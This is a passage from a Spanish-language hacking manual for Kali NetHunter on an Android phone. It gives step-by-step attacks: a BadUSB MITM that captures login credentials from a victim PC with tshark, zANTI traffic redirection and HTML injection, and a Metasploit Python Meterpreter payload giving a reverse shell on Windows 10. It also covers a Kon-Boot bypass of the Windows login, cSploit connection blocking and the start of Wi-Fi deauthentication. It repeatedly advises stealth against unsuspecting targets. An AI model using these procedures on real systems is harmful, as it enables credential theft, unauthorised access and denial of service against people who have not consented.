carpeta “/nh_files”, dentro se hallan 2 archivos con extensión .sh, con nombre
“startbadusb”, uno versión kitkat y otro versión lollipop, en este caso usaremos el segundo,
ya que esta es la versión de Android que trae el móvil Nexus, para esto ejecutaremos el
comando “bash startbadusb-lollipop, para inicializar las instrucciones que trae dentro, al
ejecutarse se mostrará la versión de las iptables, la interfaz sobre la que está corriendo el
script de BADUSB (rndis), y su tipo “hid” (Human interface device)

Imagen 5.1: Comando Bash.

31
Ahora ya sabemos cómo iniciar el ataque mediante línea de comandos en una
terminal de Kali dentro de nuestro dispositivo, ahora es momento de hacerlo de la
manera más rápida mediante el menú de NetHunter, escogiendo la opción llamada
“Bad USB MITM Attack”.
Una vez dentro de la función “Bad USB MITM
Attack”, nos aparecerán múltiples opciones,
así como la descripción de la función Bad USB
y la interfaz con la que contamos en el
dispositivo para esta tarea, en este caso se
trata de “rndis0”.

En la parte superior, aparecerán 2 opciones,

una para iniciar el ataque y otra para
detenerlo, lo iniciamos con la primera (Start
BadUSB Attack). Al hacer esto inmediatamente
nos aparecerá un recuadro indicándonos que
Kali NetHunter ha otorgado permisos tipo root
para trabajar sobre esta función, esto aparece
cada que se ejecuta un ataque desde tu movil
con NetHunter.

Imagen 5.2 y 5.3: Menú de ataque BADUSB

32
Ahora que hemos configurado parte del hardware y haber puesto en acción el ataque, con
esto configurado se puede conectar el teléfono al equipo ajeno al que se le quiere hacer
sniffing mediante MITM, ya que los paquetes están pasando por nuestro movil, el cual está
actuando como una tarjeta de red, simplemente podemos visualizar el tráfico desde nuestro
movil, el detalle está en que solo lo dejamos “cargando” un momento en el equipo ajeno,
por lo que sería bastante sospechoso e ingenuo estar usando el movil para visualizar
paquetes y tráfico, mientras está conectado al equipo objetivo, es por esto que pondremos a
trabajar una herramienta llamada “tshark”.
Lo que hará será filtrar en un archivo de extensión .cap todo el tráfico que este fluyendo por
nuestro movil que tiene corriendo un MITM, de esta manera, podremos revisar este archivo
de captura con nuestro analizador de red preferido, en este ejemplo se usará Wireshark.
NOTA: Wireshark visualizará el archivo desde una computadora, no desde el movil.

Para configurar tshark, ejecutaremos el siguiente comando sobre la terminal en la que nos
encontrábamos: tshark -i rndis0 -w “Nombre del archivo de captura” .cap
Donde:
 tshark: hace uso de la herramienta
 -i: Indica la interfaz, en este caso rndis0, que se vio en la función de Bad USB MITM
Attack en el menú de NetHunter.
 -w: Aquí se especifica el nombre del archivo de captura con extensión .cap
Al ejecutar esto, tshark, comenzará a filtrar los paquetes, indicándonos con un contador los
paquetes filtrados, el archivo de captura se guardará dentro el directorio que se ejecute el
comando, en esta demostración se recorrió un directorio para que se guardará en “nh_files”:

Imagen 5.4: Configuración de tshark

33
 Ahora, que tenemos el ataque corriendo mediante la terminal, también mediante el menú de
NetHunter y teniendo a tshark trabajando, es momento de conectar con un cable USB
nuestro móvil al equipo objetivo.
NOTA: Recuerda habilitar el modo MTP, para que la PC reconozca el dispositivo y este
después se convierta en una “tarjeta de red” para el equipo.
Ya que hayamos conectado el móvil al equipo, este automáticamente cambiará de ser un
dispositivo multimedia o extraíble a convertirse en un adaptador de red para el equipo,
por lo que es posible que aparezca un aviso de una nueva conexión establecida, la cual
generó el móvil, a simple vista para el usuario promedio-intermedio, esto será lo único extraño
que va a percatar, si es que le presta atención al aviso que dura unos segundos. En la
siguiente imagen se muestra el centro de redes y recursos compartidos en Windows, donde
aparecen las 2 conexiones existentes, en donde Ethernet 3, enumerada como “Red 5” es la
conexión que se generó con el móvil:

Imagen 5.5: Dispositivo reconocido como tarjeta de red

Ahora, que está conectado al equipo y configurado con un MITM corriendo, solo queda esperar
a que esta persona continúe con su rutina navegación o a que pase un intervalo de tiempo
para que recojamos el movil después.

En este ejemplo, durante el tiempo que estuvo conectado el movil se navegó hacia diferentes
sitios web que usan protocolo HTTP, los cuales contienen uno o más formularios de Loggeo,
por donde se ingresa un usuario, ID, y un password, las plataformas de trabajo utilizan
servicios que contenga alguna página con algún login, y puesto a que tenemos un MITM
corriendo y capturando el tráfico que pasa del cliente al Router, la información que pase por
esas páginas o formularios estará expuesta a que la podamos leer con posterioridad.
34
Los sitios visitados se verán enumerados por el analizador de red que ocuparemos para
visualizar el archivo de captura, aquí un ejemplo de envío de credenciales ficticias en uno de
los sitios visitados:

Imagen 5.6 y 5.7: Intento de Loggeo.

Una vez que se haya pasado el tiempo que hayamos decidido poner en marcha el ataque,
simplemente se desconectará el movil del equipo y terminaremos el proceso de tshark, para
hacerlo basta con presionar el botón del volumen bajo y presionar C en el teclado, en
NetHunter esto es el equivalente al Ctrl + C en Linux para detener procesos en una terminal
de comandos, en donde se muestra la cantidad total de paquetes filtrados en el archivo de
captura y seguido de la finalización del proceso:

Imagen 5.8: Detención de tshark.

Ya que se haya detenido el proceso, solo falta extrae el archivo de captura que generó tshark
de donde reside en el movil y abrirlo con nuestro analizador de red para ver el contenido de
estos paquetes, los cuales se visualizarán con Wireshark.
35
 Imagen 5.9: Directorio en donde se ubica el archivo .cap

NOTA: En este ejemplo se usa el S.O Parrot Security, en done ya viene precargado Wireshark,
cabe mencionar que esta herramienta está disponible para Windows, Mac y Linux.

Ya estando en Parrot, una vez que tengamos el archivo .cap dentro de él, abriremos Wireshark,
el cual se puede iniciar mediante línea de comandos o desde el menú de aplicaciones en la
categoría de “Sniffing/Spoofing”:

Imagen 6.0 y 6.1: Transferencia de archivo .cap e inicio de Wireshark.

Una vez abierto Wireshark, no importa que plataforma se use para trabajar con él,
estando dentro, seleccionaremos la opciones “Open a capture file”, desde de la cual
navegaremos hacia donde tengamos el archivo .cap y lo abriremos:

36
 Imagen 6.2: Wireshark.

Una vez abierto, se mostrará todo el contenido del archivo de captura, organizándose por
columnas, en donde nos indica el origen/fuente, el destino, el contenido, protocolo,
tamaño, e información o descripción del paquete:

Imagen 6.3, 6.4 y 6.5: Ubicación y visualización de paquete contenedor de

Usuario y password.

37
 2. MITM mediante zANTI
Hasta este punto hemos terminado con las configuraciones para ataques MITM de forma
manual para poder realizar la captura del tráfico, ahora es momento de usar herramientas
automatizadas para hacer estos ataques. Como se vio en el capítulo anterior, zANTI es una
herramienta bastante extensa que cuenta con un repertorio de funciones bastante amplio para
trabajar sobre una red inalámbrica y llevar a cabo tareas como enumeración de hosts,
identificación de puertos y servicios como se vio anteriormente. Entre las acciones de ataque
que se pueden realizar con zANTI se encuentran los ataques MITM, en donde lejos de solo
hacer la captura de tráfico y passwords como las herramientas anteriores, nos permite llevar a
cabo acciones como:
 El re direccionamiento de una página hacia otra.
 Filtrar las imágenes que el navegador del host victima visualiza en ciertas páginas.
 insertar código HTML en las páginas interceptadas.
 Remplazar las imágenes que contenga un sitio determinado por la de nuestra preferencia y
demás funciones con las que cuenta.
En las siguientes demostraciones se ejemplificará el uso de las funciones antes mencionadas
mediante pruebas a un host en una red Wi-Fi.

Redirección hacia otros sitios web: Cuando se lanza un ataque MITM hacia un objetivo, se
puede filtrar, retener o alterar el tráfico, una forma de ejemplificarlo es mediante el re
direccionamiento de un sitio web hacia otro, en zANTI solo basta con activar la opción
“Redirigir HTTP” en donde solo tendremos que cambiar el link que viene por defecto por el de
nuestra preferencia:
Seguido de esto, nos saldremos del input y ya estará corriendo estará funcionando esta acción.
¿Qué es lo que hará? Al activarla, todo el tráfico que contenga protocolo HTTP será redirigido
al enlace o URL que proporcionamos, es decir, toda página que el host objetivo visite y use
protocolo HTTP será redirigida a la que configuramos en zANTI desde nuestro movil. Ejemplo:

38
 Iniciamos zANTI, y escaneamos la red en la que nos encontremos, en donde
seleccionaremos el host victima/objetivo para que podamos llevar a cabo las acciones de
ataque hacia este, en donde seleccionaremos la categoría Man in the Middle:

Imagen 6.6 y 6.7: Escaneo y selección de ataque MITM en zANTI.

Ya seleccionada la acción de ataque “Man in the Middle” pasaremos a un nuevo panel en

donde encontraremos las funciones para trabajar con esta modalidad de ataque, en este
panel podremos ver la IP del objetivo seleccionado para ataque MITM, el botón de
inicio/detención del ataque, las opciones de uso y tipo de MITM. Para poder iniciar un
ataque MITM desde zANTI, se tendrá que configurar las opciones del mismo e iniciarlo con
el botón de la parte superior derecha, en el caso de que se quiera detener, se pulsa de nuevo
el botón:

Imagen 6.8: Apagado y encendido de la acción de ataque.

39
 Imagen 6.9: Selección de método de ataque MITM.

 Pedidos registrados: Aquí se visualizarán las peticiones http/https que se hagan en red por
parte del host, enlistando los pedidos de navegacion, cabe mencionar que solo se filtraran
las credenciales de accesso de los sitios que redirigan de HTTP a HTTPS.

 Imágenes registradas: Aquí se filtrarán las imágenes que se visualizen en el navegador al

ingresar a ciertos sitios web, similar al funcionamiento de Drifnet, esta acción nos permitirá
visualizar en nuestro dispositivo las imágenes que se carguen en el navegador victima, en el
siguiente eejmplo se demostrará su uso mediante la busqueda de imágenes en Google desde
el navegador victima, mostrandolas posteriormente en el dispositivo:

Imagen 7.0: Imagen Filtrada.

40
 Método MITM: Hay dos métodos disponibles: ARP (Address Resolution Protocol) e ICMP
(Internet Control Message Protocol). Aquí es donde se seleccionará el tipo o técnica de
ataque Man in the Middle que se podrá realizar, el que se usa por defecto es el de tipo ARP,
en donde trabajará con el protocolo de resolución de direcciones para hacer de esto la base
del ataque.
¿Cuál es la diferencia entre cada técnica?
El ataque de tipo ARP hace spoofing a la dirección MAC dentro de la red local. Es decir, la
máquina del atacante actúa como el dispositivo de destino y Router al mismo tiempo
(cliente/servidor).
El ataque de tipo ICMP funciona mediante la suplantación de un mensaje de redirección ICMP
al Router. El mensaje falsificado reencamina el tráfico de la víctima a través de un Router
controlado por el atacante.

Imagen 7.1: Tipos de ataque MITM.

Redirección de tráfico HTTP: Le permite re direccionar todo el tráfico HTTP a un sitio

determinado o a un servidor. Si se pone en uso esta función, re direccionará todo el tráfico
HTTP al URL que se especifique, en este caso se cambió el que bien por defecto (configuración
predeterminada) por el de [Link]

Pero si desea reenviar todo el tráfico a un sitio en particular, solo basta con pulsar en el icono
de configuración, en donde habrá un área para introducir una URL, ingresa una URL en el
campo y a continuación, vuelva a tocar en el icono de configuración para salirte del input. Una
vez hechas las configuraciones correspondientes. Pondremos el ataque en funcionamiento
presionando el botón de encendido. Lo que sucederá con esto es que mediante MITM de tipo
ARP haremos que el tráfico de los sitios con protocolo HTTP se redirección hacía el sitio que
queramos. Consulta las imágenes.

41
 Imagen 7.2 y 7.3: Re direccionamiento de Tráfico.

Si prestamos atención a la barra de notificaciones en el movil, podemos ver que zANTI muestra
un recuadro cada que tengamos un ataque MITM en acción, no importa el tipo, desde aquí
podemos cambiar la configuración inicial del ataque o detenerlo.

Imagen 7.4: Notificación de ataque MITM.

Remplazo de imágenes: Una cosa más que se puede realizar durante un ataque MITM
mediante zANTI (y de otros modos también) es el remplazo de las imágenes en el sitio web
con protocolo HTTP que visite la victima involucrada en el ataque, estas pueden ser
remplazadas con cualquier imagen en todos los formatos (en ocasiones .GIF).
42
En las acciones de ataque MITM de zANTI se halla esta opción, solo basta con seleccionar el
host víctima y posteriormente la imagen que deseemos, en este caso se usará la que viene
precargada, habilitamos la opción e iniciamos el ataque:

Imagen 7.5, 7.6 y 7.7: Activación de modalidad de ataque y resultados.

Podemos notar que nuestra acción de ataque funciona, en 2 páginas distintas, así como
también podemos ver que el ataque se realiza hacia una PC y un movil, en este caso un
iPhone, solo basta con escoger el nuevo host en zANTI e iniciar el debido ataque hacia este.
Inserción de código HTML: Otra característica que trae consigo zANTI, es que dentro de las
funcionalidades de ataques MITM podemos insertar código HTML en ciertas páginas a las
que la víctima o host objetivo visite. Dentro del menú de configuración para ataques MITM,
nos encontraremos con esta función, desde la cual escribiremos el código HTML que
buscamos ejecutar en el navegador ajeno de la víctima del ataque Man in the Middle, esta
función ya trae un pequeño código HTML que nos mostrará un mensaje acerca de zANTI.
Para editarlo solo basta con pulsar el botón del engrane y hacer los cambios que vayamos a
necesitar, para terminar se tiene que activar la función con el botón de encendido para
posteriormente iniciar el ataque. Lo que se obtendrá será un “Message Dialog” en el
navegador del equipo victima que visite una página con protocolo HTTP en este ejemplo fue
“p0isoned by: HackingMexico”, puedes ingresar el código HTML de tu elección. Consulta
las imágenes.

43
 Imagen 7.8, 7.9 y 8.0: Inyección de código HTML.

Explotación local mediante NetHunter y Metasploit Framework.

Como ya se sabe, Metasploit es una herramienta bastante famosa que permite llevar a cabo
diferentes tareas de pentesting, desde la recolección de información de un host, hasta acciones
de explotación y post-explotación. Como es de esperarse, NetHunter trae consigo a esta
herramienta, cabe mencionar que no en su totalidad, es decir, la versión de Metasploit en
NetHunter no cuenta con todas las características que traería una distro para pentesting como
lo es Kali, Parrot OS o BackBox, por lo que algunas tareas de pentesting como esta
demostración se verán limitadas debido a esto en NetHunter.

Dentro del menú principal de NetHunter, nos encontramos con el Generador de Payloads de
Metasploit, que es una herramienta que automatiza la creación de payloads en distintos
lenguajes para que funcionen en diferentes plataformas. En el siguiente ejemplo se demostrará
el uso de esta función para lograr la obtención de Shells interactivas sobre el equipo víctima.
Para poder realizar esto se requieren ciertos parámetros de configuración, como lo es el tipo
de payload, puerto y dirección IP en donde se creará el canal de comunicación
cliente/servidor, y por último las opciones del módulo, como lo son el tipo de payload y el
protocolo de comunicación.
44
 Imagen 8.1: Configuración de Payload de Python.

Teniendo todo listo, se hace una última revisión de la configuración y se genera el payload, al hacer
esto se abrirá una nueva terminal en donde se mostrará el proceso de compilación de este, en
donde se mostrarán los parámetros de configuración que se establecieron, así como el lugar donde
reside el payload:

Imagen 8.2: Proceso de compilación en terminal de NetHunter.

Terminada la compilación de del payload, vemos que el contenido se guardó en el directorio

“/sdcard/” dentro de “/root/”, en donde tendremos también un archivo de extensión .rc con el
mismo nombre del payload, este será un archivo que trabajará de forma síncrona con el
payload en formato .py. Este archivo .rc será el que configuremos en Metasploit, el cual
trabajará con un Handler, juntos estarán a la escucha de conexiones y ejecuciones de exploits
fuera del framework, en este caso nuestro payload que se ejecutará en la maquina víctima.
45
Como es de saberse, es recomendable iniciar el servicio de PostgreSQL, que es la base de
datos con la que trabaja Metasploit, esto se consigue ejecutando el comando “service
postgresql start”, es recomendable hacer esto en una terminal nueva.

Luego de eso, el payload tendrá que mandarse a llamar desde Metasploit y configurarlo para
que trabaje con un Listener de conexiones en la red y pueda arrojarnos la shell de
Meterpreter al momento de su ejecución. Para esto ejecutáremos el siguiente comando desde
dentro del directorio donde reside el payload: “msfconsole –q –r python-meterpreter-
[Link]”

En donde:

 msfconsole: Hace el llamado a la consola de Metasploit

 -q y –r: El primero hace uso del modo “quiet” o callado, sin que se tenga que mostrar
el banner de inicio, y el otro indica el uso de un “resource file”, aquí es donde
especificamos el script o payload generado.

Al hacer esto, se iniciará la consola de Metasploit y establecerá de forma automática la

configuración del payload para que trabaje en conjunto con el Listener de exploits y
conexiones:

46
 Imagen 8.3, 8.4 y 8.5: Configuración de Handler de conexiones y payload en
Metasploit

Hecho esto, solo se hace llegar el payload a la maquina víctima que está en el mismo segmento
de red que nosotros, en este caso se hizo la prueba con un Windows 10, en donde solo se
tendrá que ejecutar el script de Python.

Una vez conseguido esto, inmediatamente se formará el canal de comunicación entre

Cliente/servidor (Atacante/Victima) para poder interactuar con él desde Metasploit, en
donde se muestran detalles como lo son el tipo de payload, dirección IP, puerto e
identificador:

Imagen 8.8: Obtención de Shell de Meterpreter en equipo Ajeno.

47
 Extra: Bypass de Login en
Windows mediante vector HID.
Previamente te familiarizaste con aproximaciones de este tipo al momento de que llevaste a cabo
el ataque HID para hacer MITM, bien, en ese momento entendiste la importancia del “Physical
Pentest” o hackeo físico y que tan efectivo y perjudicial puede resultar para un equipo en
específico. Es por ello que en este apartado extra, se llevan las cosas un tanto más lejos.

Como se ha visto hasta ahora, un dispositivo Nexus cargado con Kali NetHunter resulta bastante
eficiente y útil para realizar tareas de pentesting desde un perspectiva completamente diferente a
la de un computador, desde el preparar el ataque hasta desplegarlo, un movil configurado con Kali
NetHunter cuenta con herramientas eficaces para lo anterior, antes de finalizar este capítulo
haremos una aproximación mediante el vector de ataque HID, lo cual como ya sabes es hackeo
físico.

¿Cómo lo haremos?

Como ya se sabe Kali NetHunter nos provee de muchas funciones y herramientas, entre este
repertorio nos encontramos con “DriveDroid”, esta es un App que no es de uso exclusivo para
NetHunter, pero trabajarán en conjunto debido al despliegue que haremos en esta demostración,
esta aplicación nos permite conseguir que NetHunter emule ISOs o USBs booteables, utilizando
imágenes de nuestra preferencia, es decir, que nuestro movil funcionará como un dispositivo
booteable, el cuan contendrá librerías de imágenes Boot o ISOs.

Comenzando nuestra aproximación.

En las páginas anteriores se mostró una aproximación mediante vector HID para hacer que
nuestro movil emulara o funcionase como una tarjeta de red, además de que Kali NetHunter
también cuenta con otras formas de hacer ataques mediante este vector en donde nos
encontramos con acciones del teclado pre-programadas que pueden acabar comprometiendo un
equipo que cuenta con una configuración determinada.

La pregunta es: ¿Qué pasa si el equipo está bloqueado o apagado?

48
Bien, si la situación es alguna de las anteriores un ataque HID de los antes vistos será inútil ya
que vamos a requerir de una acción de Loggeo, la cual usa un password y no lo tenemos. Aquí es
donde aparece “Kon-Boot”, la cual es una herramienta que nos permitirá realizar la aproximación
que estamos buscando.

¿Cómo funciona esto?

“Kon-Boot” es un herramienta que opera como un Kit de booteo, lo que hará por nosotros será
hacer un bypass del screen del login de Windows de una forma sigilosa o furtiva (OSX también),
“Kon-Boot” trabajará en conjunto con “DriveDroid” el cual hará las funciones antes descritas, esto
se conseguirá mediante el booteo de una imagen que evita el proceso de autenticación, sin tener
que sobrescribir los passwords actuales.

Dentro del material proporcionado para este capítulo se encuentra la herramienta “Kon-Boot” y
la imagen correspondiente a Windows, para “DriveDroid” este ya viene instalado en el movil
Nexus.

¿Qué necesitarás?

 Dispositivo con Kali NetHunter

 Cable USB
 Equipo físico con Windows (para esta prueba se usó uno con Windows10

Una vez que tengas lo necesario ya podremos hacer nuestra aproximación, dentro del menú de
aplicaciones del Movil con NetHunter nos encontramos con DriveDroid. Para esto iremos a su
ubicación y lo abriremos, al hacerlo nos parecerá un asistente de configuración indicando que
algunas funciones no están disponibles en ciertos equipos Android y que “DriveDroid” no
funcionará si es un equipo de la lista negra, por lo que recomienda seguir la configuración y eso
haremos:

Imagen 1.1 y 1.2: DriveDroid e inicio de configuración

49
Dentro, el asistente configuración nos dirá que existen dispositivos que tiene un mal
funcionamiento con “DriveDroid”, por lo que este buscará si el modelo de tu movil está dentro una
lista negra, como este no es el caso, “DriveDroid” nos indica que el dispositivo ha sido probado
por otros y que debería funcionar, hacemos clic en “Proceed”:

Imagen 1.3: Advertencia de DriveDroid sobre dispositivos conflictivos.

Seguid de eso, el asistente de configuración nos dirá que “DriveDroid” requiere permisos de tipo
“root” o súper-usuario para poder usar esta función, esto se debe a que pueda cambiar las
configuraciones USB y hospedar o alojar las imágenes USB Booteables, por lo que necesitara
permisos de tipo “Root”, se los otorgáremos con “Acquire Root”. Enseguida deberemos permitirlo
desde el captcha que Android arroja:

Imagen 1.4 y 1.5: Solicitación de permisos Root.

50
Ya terminado lo anterior y otorgado el permiso “Root”, pasaremos a conectar el movil vía USB a
un equipo Windows (no tiene que ser el equipo objetivo) e indicamos que hemos conectado el
cable. Lo siguiente será referente a los sistemas para gestión USB, esto nos dirá que
“DriveDroid” nos dará a elegir qué sistema de gestión USB aparece al conectar nuestro movil para
sí establecer una configuración específica, hacemos clic en “Proceed”:

Imagen 1.6 y 1.6: Conexión por USB e inicio de config. de sistema de gestión USB

Ahora os encontramos con los sistemas de gestión USB que “DriveDroid” nos ofrece,
seleccionaremos el común o “standard”, al hacerlo comenzará un proceso de hosting en donde
se está cargando una imagen “Boot” correspondiente a “DriveDroid”:

51
 Imagen 1.8 y 1.9: Selección de sistema de gestión y hospedaje de imagen Boot.
Al terminar el proceso de hosting
sobre la configuración antes establecida en la selección de sistema de gestión USB, nos aparecerá
una indicación afirmando que la configuración ha finalizado y que ya podemos hacer uso de
“DriveDroid” para cargar imágenes booteables desde el, así como también tenemos un listado de
consejos acerca de cómo usar y como no usarlo, para finalizar hacemos clic en “Close Wizard”

Imagen 2.0: Proceso de configuración finalizado.

Ahora lo único que tenemos que hacer es transferir los archivos del folder “Kon Boot” referentes
al material proporcionado para este capítulo. Hecho esto abriremos Kon Boot y con el botón
indicado, buscaremos la imagen referente a Windows y Mac OS y la estableceremos con la
configuración de tipo “Read-Only” y aparecerá de la manera siguiente. Consulta las imágenes.
52
 Imagen 2.1, 2.2 y 2.3: Adición de Imagen.

Ahora que ya tenemos la imagen establecida, dejaremos el movil conectado a la PC objetivo y

la reiniciamos una vez hecho eso, tendremos que entrar a la BIOS del equipo para que
podamos seleccionar el lugar desde donde se hará el booteo.

NOTA: Este último paso resulta el más crítico, ya que definirá si hacemos el bypass o no, esto se
debe a la selección del lugar de booteo, ya que muchas BIOS son diferentes, y resultará imposible
y absurdo que las enumeremos a todas en este libro, por lo que tendrás que buscar la
configuración de booteo inicial por tu cuenta. Existen múltiples factores por las que esto pudiese
no llegar a funcionar como lo esperas, por lo que te recomiendo que indagues acerca del tema,
siéntete libre de investigar en la web.

Una vez que se haya establecido el modo de booteo, si llevaste a cabo todos los pasos de forma
correcta, nos encontráremos con la pantalla de booteo de “Kon-Boot”:

Imagen 2.4: Booteo conseguido con Kon-Boot.

Ahora que ya tenemos el booteo de la forma esperada, pasaremos al campo o input en donde se
ingresa el password del usuario Windows, podremos ingresar cualquier carácter/es y dejar vacío

53
el campo y presionar Enter y entraremos sin problema alguno al equipo, listo para poder hacer lo
que queramos con él, o lo que tengamos contemplado realizar.

Imagen 2.5: Input de Login de Windows 10.

54
 Ataques a redes Inalámbricas.
En muchos lugares ha habido un incremento de la dependencia de redes inalámbricas, con el
fin de los usuarios mantengan la conectividad de una forma más versátil. Las redes
inalámbricas pueden resultar bastante vulnerables si no se establecen los protocolos y
medidas de seguridad adecuadas, estos resultados pueden llevar desde degradar el servicio
hasta el robo de información sensible.

Como ya se sabe, Kali Linux y demás distribuciones de seguridad informática pueden ser
utilizadas para hacer testing hacia redes inalámbricas, lo mismo se puede conseguir con Kali
NetHunter, ya que este contiene herramientas para poder llevar a cabo este tipo de tareas con
una mejor movilidad y de una forma más discreta.

Habrá ocasiones en las que parte del trabajo de Pentesting, se tendrá que recorrer un área en
específico en búsqueda de redes inalámbricas para hacerles “Stress testing” (DoS), crackeo
de passwords y demás ataques.

Aquí es cuando una vez más aparece NetHunter, para poder usarlo en estos escenarios va a
ser necesaria un adaptador Wi-Fi inalámbrico y un cable tipo OTG para poder conectarlo a
nuestro móvil.

NOTA: No todas las antenas Wi-Fi externas se prestan para hacer este tipo de pruebas,
por lo tanto no son compatibles con las distros para pentesting incluida Kali/Kali
NetHunter, puesto a que no permiten la inyección de paquetes y no pueden hacer uso de
Modo Monitor, en la siguiente lista podrás encontrar las mejor antenas Wi-Fi externas para
ataques a redes inalámbricas:

 Alfa AWUS036NHA
 Alfa AWUS036NEH
 TP-Link TL-WN722N

55
Denegación de servicios (DoS) dentro y fuera de la red.
Teniendo como ventaja a nuestro Dispositivo con NetHunter, será mejor hacer de esta forma
el trabajo para mantener una discreción mayor en el lugar donde te encuentres, ya sea tu
oficina, escuela, la recepción de un hotel o tu restaurante preferido, en vez de usar una laptop
y así evitar la atención que no estemos buscando.

Como se ha visto hasta ahora, se pueden llevar a cabo múltiples acciones de ataque desde
nuestro dispositivo Nexus, que es el que cuenta con distintas herramientas para hacer estos
ataques mediante vectores deferentes, aquí es donde entra otra herramienta, cSploit.
Disponible para la plataforma Android, cSploit es un avanzado kit de herramientas bastante
completo que se usa para realizar ataques en distintas formas ofreciéndonos algo que es
demasiado útil al momento de llevar a cabo distintos ataques… portabilidad.

Gracias a cSploit podemos hacer una amplia variedad de ataques con mayor flexibilidad,
desde la recolección de información acerca de un Host en la red, hasta hacer denegación de
servicios y la obtención de sesiones interactivas sobre el host objetivo, los usos principales
de cSploit son:

 Enumeración de Hosts.

 Ataques Man in the Middle.

 Bloqueo de conexiones

 Encontrar vulnerabilidades.

 Realizar la búsqueda de exploits para explotar las vulnerabilidades encontradas.

 Colocación de Backdoors para acceso persistente.

56
 ¿Qué necesitarás para usar cSploit?
 Una red Wi-Fi a la que conectarse.
 Un objetivo que atacar.

La herramienta ya viene precargada junto con NetHunter, por lo que no será necesario
instalarla por nuestra cuenta. Si se desea instalar en un movil que no contenga Kali NetHunter
va a ser necesario lo siguiente:

 Que el dispositivo Android cuente con una versión 2.3 o superior con ROOT.
 Se requerirá la instalación de SUPERSU, de lo contrario no funcionará.
 El dispositivo Android deberá contar con la instalación de BusyBox, con todas las
utilidades cargadas/instaladas para que funcionen junto con cSploit.

Imagen 8.9: cSploit en Android.

La suite de cSploit se puede descargar desde el siguiente link, en donde puedes encontrar
documentación relacionada: [Link]

57
 1. DoS desde cSploit.

En las demostraciones anteriores de ataques Man in the Middle, pudimos llevar a cabo distintas
funciones de ataque como lo es el filtrar y manipular tráfico, hacer sniffing, etc. Sin embargo
algo que se puede conseguir después de haber hecho esta irrupción en el canal de
comunicación que nos permite actuar como MITM, lejos de hacer sniffing y monitoreo, se
puede hacer ataques de denegación de servicio o conseguir inhabilitar cierta comunicación.

Con cSploit podemos conseguir eso, gracias a su extensa variedad de funciones y acciones
de ataque es posible realizar el bloqueo de conexiones que realiza un host o equipo en la red
que nos encontremos. En el siguiente ejemplo se demostrará la eficacia para realizar el
bloqueo de la comunicación vía web en un host.

Teniendo instalado cSploit en nuestro movil y estando conectados a la red inalámbrica donde
se encuentra el host víctima, abrimos la suite y veremos que enumerará los host funcionales
(activos) en la red. En donde también nos muestra el Router al que estamos conectados y la
máscara de subred, así como los detalles de cada posible objetivo que esté enlistado, en este
caso seleccionaremos el que dice “USER”.

Imagen 9.0: Escaneo de la red por cSploit.

58
Algo que notaremos en la barra de notificaciones del movil, es que al momento de que abrimos
cSploit, comenzará una conexión con el servicio del demonio de Metasploit, esto se debe
a que la Suite trabaja en conjunto con el Framework de Metasploit que ya viene precargado
en el dispositivo, al terminar este proceso aparecerá una notificación indicando la conexión
exitosa de cSploit con el Framework:

Imagen 9.1 y 9.2: Status de Metasploit y panel de control de cSploit.

Metasploit cuenta con una útil característica llamada MSFRPCD. Esta proporciona acceso a
una instancia del Framework a través de una conexión RPC (Remote Procedure Call)
cSploit inicia esta llamada y conecta a él. Así cSploit podrá realizar la explotación de un cierto
Host y conseguir sesiones de control sobre el/los objetivos comprometidos.
Una vez que un host de destino ha sido comprometido, puede tomar el control con una
Shell, dando por hecho que el objetivo es tuyo. Más adelante tocaremos ese tema.
Así como otras herramientas, cSploit tiene opciones de configuración inicial antes de ponerse
en acción, como se ve en las imágenes, podemos buscar redes Wi-Fi, crear, guardar o
restaurar sesiones de trabajo, iniciar/detener el monitoreo de la red . Al igual que como lo vimos
con zANTI, es el mismo equipo que cuenta con 7 puertos abiertos, lo seleccionamos. Dentro
de este nuevo menú se enlistan todas las acciones de ataque y funciones que se pueden llevar
a cabo hacia este host, seleccionaremos la categoría de Man in the Middle.

59
Una vez dentro de esta categoría, se mostrará un nuevo panel que cuenta con las acciones
de ataque mediante MITM, desde aquí se pueden realizar diferentes tareas, como lo es el
sniffing y el re direccionamiento del tráfico no cifrado, DNS Spoofing, remplazó de
imágenes, Secuestro de sesiones no seguras, etc.

Aquí es donde seleccionaremos la opción “Bloqueador de conexiones”, lo que haremos con

esto será impedir que se establezca todo tipo de conexión con cualquier URL o sitio
web, denegando el acceso a Internet desde nuestro movil, al poner el ataque en función,
aparecerá una animación repetitiva en la opción seleccionada, si se quiere detener el ataque,
solo se presiona de nuevo.

Imagen 9.3: Inicio y detención de Bloqueador de Conexiones.

El resultado será el tal cual antes descrito, impidiendo la navegación en el host objetivo, las
pruebas se realizaron visitando a Facebook, Gmail y Twitter, desde el Navegador Comodo
IceDragon versión 49.0.0

60
 Imagen 9.4: Acceso a internet impedido en host víctima.

Lo mismo funciona para los móviles, solo se selecciona el Host correspondiente en el listado
de objetivos detectados por cSploit.

La siguiente prueba se realizó hacía un iPhone con iOS 10.1.1, entrando a Google desde
Safari, además de que también deniega las conexiones que se intentan establecer desde
Apps, como lo es Facebook.

Consulta las imágenes.

Imagen 9.5 y 9.6: Fallo de conexión en aplicaciones móviles.

NOTA: Esta simple modalidad de ataque puede ser bastante util/perjudicial, ya que
puedes hacer un flooding en el Router dejando sin Internet a la red completa.
61
 2. Denegación de Servicios a un Access Point mediante NetHunter
Previamente se hicieron pruebas de denegación de servicios (DoS) mediante cSploit en donde
conseguimos dejar inhábil la conexión a internet por parte de un usuario dentro del mismo
segmento de red que nosotros.
Yendo algo más lejos, se puede conseguir lo mismo con una red inalámbrica o AP objetivo,
estableciendo el modo monitor en un adaptador inalámbrico dejando fuera por unos segundos
o más tiempo a un solo cliente o a todos si así lo queremos, desde Kali y demás distros se
puede hacer una extensa variedad de ataques de este tipo, y por supuesto también desde tu
movil con NetHunter.
¿Qué necesitarás?

 Cable OTG
 Tu dispositivo con NetHunter
 Tarjeta o adaptador red inalámbrico (Para esta demostración recomiendo una TP-Link
TL-WN722N)

Teniendo todo listo, conectaremos nuestra antena al movil mediante el cable OTG y abrimos
una nueva terminal de Kali.
Estando dentro lo primero que haremos será habilitar nuestra nueva interface de red, que
será “wlan1” iniciando el servicio de redes, ejecutaremos el primer comando que es: “service
networking start”:

Imagen 9.7: Inicio de servicio de Networking en NetHunter.

Hecho esto notaremos un patrón de encendido en nuestra tarjeta.

Esto nos indica que ya está en función esta interface de red y puede ser usada. Sabiendo
esto podremos ponerla en función de modo monitor, una forma de hacer esto es con el
comando “airmon-ng start wlan1”

62
Donde:

 airmon-ng start: Indica el uso de esta función por parte de Aircrack-ng

 wlan1: Es la interface que vamos a usar, que al igual que en muchos casos, “wlan1” es la
más común.

